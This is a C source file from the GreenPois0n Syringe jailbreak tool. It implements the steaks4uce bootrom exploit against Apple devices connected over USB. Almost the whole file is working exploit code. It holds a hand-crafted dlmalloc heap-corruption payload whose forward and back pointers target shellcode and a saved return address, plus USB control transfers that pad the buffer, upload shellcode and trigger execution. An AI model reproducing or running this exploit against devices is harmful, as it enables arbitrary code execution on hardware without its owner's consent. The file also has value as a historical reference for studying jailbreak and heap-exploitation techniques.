/**
  * GreenPois0n Syringe - exploits/steaks4uce/steaks4uce.c
  * Copyright (C) 2010 Chronic-Dev Team
  * Copyright (C) 2010 Joshua Hill
  *
  * Based on exploit discovered by pod2g
  *
  * This program is free software: you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
  * the Free Software Foundation, either version 3 of the License, or
  * (at your option) any later version.
  *
  * This program is distributed in the hope that it will be useful,
  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  * GNU General Public License for more details.
  *
  * You should have received a copy of the GNU General Public License
  * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 **/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include "common.h"
#include "exploits.h"
#include "steaks4uce.h"
#include "libirecovery.h"

int steaks4uce_exploit() {
	irecv_error_t error = IRECV_E_SUCCESS;
	int i, ret;
	unsigned char data[0x800];
	unsigned char payload[] = {
				/* free'd buffer dlmalloc header: */
				0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
				0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
				/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
				0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
				0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
				0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
				0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (filled by the code just after)
				0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
				0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
				0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
				0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
				/* attack dlmalloc header: */
				0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
				0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
				0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
				//0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack
				0xfc, 0xd7, 0x02, 0x22, // 0x34: BK : exception_irq() LR in stack
				};

	info("Executing steaks4uce exploit ...\n");
	debug("Reseting usb counters.\n");
	ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000);
	if (ret < 0) {
		error("Failed to reset usb counters.\n");
		return -1;
	}

	debug("Padding to 0x23800...\n");
	memset(data, 0, 0x800);
	for(i = 0; i < 0x23800 ; i+=0x800)  {
		ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000);
		if (ret < 0) {
			error("Failed to push data to the device.\n");
			return -1;
		}
	}
	debug("Uploading shellcode.\n");
	memset(data, 0, 0x800);
	memcpy(data, steaks4uce_payload, sizeof(steaks4uce_payload));
	ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000);
	if (ret < 0) {
		error("Failed to upload shellcode.\n");
		return -1;
	}

	debug("Reseting usb counters.\n");
	ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000);
	if (ret < 0) {
		error("Failed to reset usb counters.\n");
		return -1;
	}

	int send_size = 0x100 + sizeof(payload);
	*((unsigned int*) &payload[0x14]) = send_size;
	memset(data, 0, 0x800);
	memcpy(&data[0x100], payload, sizeof(payload));

	ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, send_size , 1000);
	if (ret < 0) {
		error("Failed to send steaks4uce to the device.\n");
		return -1;
	}
	ret = irecv_control_transfer(client, 0xA1, 1, 0, 0, data, send_size , 1000);
	if (ret < 0) {
		error("Failed to execute steaks4uce.\n");
		return -1;
	}
	info("steaks4uce sent & executed successfully.\n");

	debug("Reconnecting to device\n");
	client = irecv_reconnect(client, 2);
	if (client == NULL) {
		debug("%s\n", irecv_strerror(error));
		error("Unable to reconnect\n");
		return -1;
	}

	return 0;
}
